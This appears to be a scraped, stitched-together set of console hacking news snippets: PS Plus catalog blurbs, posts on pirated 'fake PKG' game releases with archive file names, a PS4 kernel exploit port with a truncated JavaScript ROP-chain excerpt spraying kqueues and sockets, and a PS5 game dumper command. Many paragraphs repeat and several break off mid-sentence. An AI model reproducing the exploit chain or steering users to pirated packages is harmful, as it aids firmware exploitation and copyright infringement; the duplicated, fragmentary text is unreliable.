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Sony PlayStation Plus Game Catalog Updates for December 2023
Here are the PS Plus Game Catalog Updates for December 2023 following Sony's initial announcement and PSPlus Season of Play Promotion earlier this month for PlayStation Plus members featuring Grand Theft Auto V, Stranger of Paradise: Final Fantasy Origin, Metal: Hellsinger and more... all playable from December 19th, 2023. 
Here are further details from each incoming title from SIE Content Acquisition & Operations Director Adam Michel, to quote:
GTAV’s arrival into the PlayStation Plus Game Catalog nicely lines up with the game’s newly launched update, GTA Online: The Chop Shop, which introduces a new Salvage Yard business, Drift Races, and more. Let’s take a closer look at each game in turn.
PlayStation Plus Extra and Premium | Game Catalog
Grand Theft Auto V | PS4, PS5
Welcome to Los Santos. Experience blockbuster hits Grand Theft Auto V and GTA Online — with the PlayStation 5 version updated with stunning visuals, faster loading, adaptive triggers, haptic feedback, Tempest 3D audio and more, plus exclusive content for GTA Online players.
In Grand Theft Auto V, experience the interwoven stories of Franklin, Michael, and Trevor in the sprawling open world of Los Santos and Blaine County. In GTA Online, explore an ever-evolving online universe where you can rise from street-level hustler to become a kingpin of your own criminal empire.
Stranger of Paradise: Final Fantasy Origin | PS4, PS5
From Team Ninja comes a brand new take on the Final Fantasy series. Jack and his allies, Ash and Jed, burn with the resolve to defeat Chaos as they throw open the gates to the Chaos Shrine. Yet doubts remain – are they truly the Warriors of Light the prophecy foretold?
Step into a world of dark fantasy and revel in exhilarating action-packed battles. Dive into wildly different move sets based on equipped weapons to change combos, unlock new attacks via upgrades and add job specializations that help widen the skillsets of...
Here are further details from each incoming title from SIE Content Acquisition & Operations Director Adam Michel, to quote:
GTAV’s arrival into the PlayStation Plus Game Catalog nicely lines up with the game’s newly launched update, GTA Online: The Chop Shop, which introduces a new Salvage Yard business, Drift Races, and more. Let’s take a closer look at each game in turn.
PlayStation Plus Extra and Premium | Game Catalog
Grand Theft Auto V | PS4, PS5
Welcome to Los Santos. Experience blockbuster hits Grand Theft Auto V and GTA Online — with the PlayStation 5 version updated with stunning visuals, faster loading, adaptive triggers, haptic feedback, Tempest 3D audio and more, plus exclusive content for GTA Online players.
In Grand Theft Auto V, experience the interwoven stories of Franklin, Michael, and Trevor in the sprawling open world of Los Santos and Blaine County. In GTA Online, explore an ever-evolving online universe where you can rise from street-level hustler to become a kingpin of your own criminal empire.
Stranger of Paradise: Final Fantasy Origin | PS4, PS5
From Team Ninja comes a brand new take on the Final Fantasy series. Jack and his allies, Ash and Jed, burn with the resolve to defeat Chaos as they throw open the gates to the Chaos Shrine. Yet doubts remain – are they truly the Warriors of Light the prophecy foretold?
Step into a world of dark fantasy and revel in exhilarating action-packed battles. Dive into wildly different move sets based on equipped weapons to change combos, unlock new attacks via upgrades and add job specializations that help widen the skillsets of...
New PS4 Fake PKG Game & DLC FPKG Updates in PS4Scene
Since the last round of PS4 Fake PKG Games & DLC FPKGs, here's some new updates thanks to @CyB1K on Twitter with help from @Archi55, @jocover, @mrBOOT (Fugazi's Ko-fi / PayPal / 1Fichier) and special thanks to The World ismine and @xmrallx alongside @opoisso893 on Twitter with help from @golemnight to try on Jailbroken PS4 consoles in the PlayStation 4 Scene and Hacked PS5 consoles in the PlayStation 5 Scene using the 4.03 PS5HEN PS4 FPKG Enabler, 4.50 PS5HEN PS4 FPKG Enabler or 4.51 PS5HEN PS4 FPKG Enabler payloads. 
You can support these ongoing game dumping, backporting and DLC efforts via the private area release topics for Verified Members, by following and sending @CyB1K aka Cyberpt1000 and @opoisso893 aka backport893 a Twitter DM for current donation options, or directly on @mrBOOT's Ko-fi / PayPal /...
You can support these ongoing game dumping, backporting and DLC efforts via the private area release topics for Verified Members, by following and sending @CyB1K aka Cyberpt1000 and @opoisso893 aka backport893 a Twitter DM for current donation options, or directly on @mrBOOT's Ko-fi / PayPal /...
PS4 9.00 pOOBs4 Kernel Exploit (KeX) Port to 8.0x Firmware by ABC
Following the PSFree WebKit Exploit for PS4 6.00 to 9.60 & QuickHEN PS4 incoming, PS4Scene developer abc on Discord shared a PS4 9.00 pOOBs4 Kernel Exploit (KeX) Port to 8.0x Firmware adding the additional details below via PlayStation Devwiki Discord: 
Just ported pOOBs4's trigger_spray() to 8.0x and it reliably triggers a kernel panic. This suggests that pOOBs4 can easily replace unreliable kernel exploits in other firmwares.
Just set up the firmware's ROP runner (p.launch_chain()) to execute the chains at trigger_spray() and use that to load the patches instead.
Just ported pOOBs4's trigger_spray() to 8.0x and it reliably triggers a kernel panic. This suggests that pOOBs4 can easily replace unreliable kernel exploits in other firmwares.
Just set up the firmware's ROP runner (p.launch_chain()) to execute the chains at trigger_spray() and use that to load the patches instead.
Code:
function trigger_oob() {
init();
const chain = new Chain();
const num_kqueue = 0x1b0;
const kqueues = new Uint32Array(num_kqueue);
const kqueues_p = get_view_vector(kqueues);
for (let i = 0; i < num_kqueue; i++) {
chain.push_syscall('kqueue');
chain.push_gadget('pop rdi; ret');
chain.push_value(kqueues_p.add(i * 4));
chain.push_gadget('mov dword ptr [rdi], eax; ret');
}
chain.push_end();
chain.run();
chain.clean();
const AF_INET = 2;
const SOCK_STREAM = 1;
// socket descriptor
chain.syscall('socket', AF_INET, SOCK_STREAM, 0);
const sd = chain.return_value;
// 0x100 <= sd < 200
// pOOBs4 wasn't checking the higher 32 bits, pretty sure they want to
// since (maybe) they are trying to manipulate kqueue_expand()
if (sd.low() < 0x100 || sd.low() >= 0x200 || sd.high() !== 0) {
die(`invalid socket: ${sd}`);
}
debug_log(`socket descriptor: ${sd}`);
// spray kevents
const kevent = new Uint8Array(0x20);
const kevent_p = get_view_vector(kevent);
kevent_p.write64(0, sd);
// EV_ADD and EVFILT_READ
kevent_p.write32(0x8, 0x1ffff);
kevent_p.write32(0xc, 0);
kevent_p.write64(0x10...
Latest PS4 FPKG Games in PS4Scene by Opoisso893 / Golemnight
Since the previous batch of PS4 FPKG Games comes a King's Bounty II v1.07 PS4 PKG plus PS4 DLC Pack and a Blasphemous v1.01 PS4 PKG by @opoisso893 on Twitter with help from @golemnight to test on PS4 Jailbroken consoles in the PlayStation 4 Scene and PS5 Hacked consoles in the PlayStation 5 Scene using the PS4 FPKG Enabler 4.03 PS5HEN, PS4 FPKG Enabler 4.50 PS5HEN or PS4 FPKG Enabler 4.51 PS5HEN payloads. 
Those interested can support these continued game dumping, backporting and DLC efforts via the private area release topics for Verified Members, or by following and sending @opoisso893 aka backport893 a Twitter DM for current donation options.
Below are the Tweets and release details from the ongoing discussion topics for Verified Members (Verification Guide):
CUSA26098
King's Bounty II - CUSA26098 v1.00 [9.00]
Release with original keystone by @opoisso893/@golemnight
Those interested can support these continued game dumping, backporting and DLC efforts via the private area release topics for Verified Members, or by following and sending @opoisso893 aka backport893 a Twitter DM for current donation options.
Below are the Tweets and release details from the ongoing discussion topics for Verified Members (Verification Guide):
CUSA26098King's Bounty II - CUSA26098 v1.00 [9.00]
Release with original keystone by @opoisso893/@golemnight
- Kings.Bounty.II_CUSA26098_v1.00_[9.00]_OPOISSO893.rar (9.89 GB)
PS5 Game File Dumper by Jeroendev One (Nomadic20000)
Proceeding the PS5 SELF Dumper, PS5 DB Backup Payload, PS5 DB Rebuilder Ext for M.2 and External USB and PS5 PFSMNT Dumper updates Jeroendev One (nomadic20000 on Twitter) made available a PS5 Game File Dumper to help the PlayStation 5 Scene in obtaining PS5 Game Backups (File Dumps) with testing by @EchoStretch on Twitter for those with Exploitable PS5 Consoles to try out.
Download: ps5-game-file-dumper-main.zip (includes dumper.py script) / GIT / dumpgame.bin (49.17 KB) via StretchEcho / dumpgame.bin (49.16 KB - PS5 Self Dumper 3xx / 4xx fresh build) via StretchEcho
Here's further details from the README.md: PS5 Game File Dumper
Thanks EchoStretch & Discord friend for testing
This code replaces step 2 to 6 from the game dump process by automating it.
Run this on Linux or in WSL2:
This will grab all the required files from ftp including the NPWR files. They are a placed in the script directory in a folder named dumps...
Download: ps5-game-file-dumper-main.zip (includes dumper.py script) / GIT / dumpgame.bin (49.17 KB) via StretchEcho / dumpgame.bin (49.16 KB - PS5 Self Dumper 3xx / 4xx fresh build) via StretchEcho
Here's further details from the README.md: PS5 Game File Dumper
Thanks EchoStretch & Discord friend for testing
This code replaces step 2 to 6 from the game dump process by automating it.
Run this on Linux or in WSL2:
Code:
python3 dumper.py <ps5 ip> <ftp port> <PPSA title_id>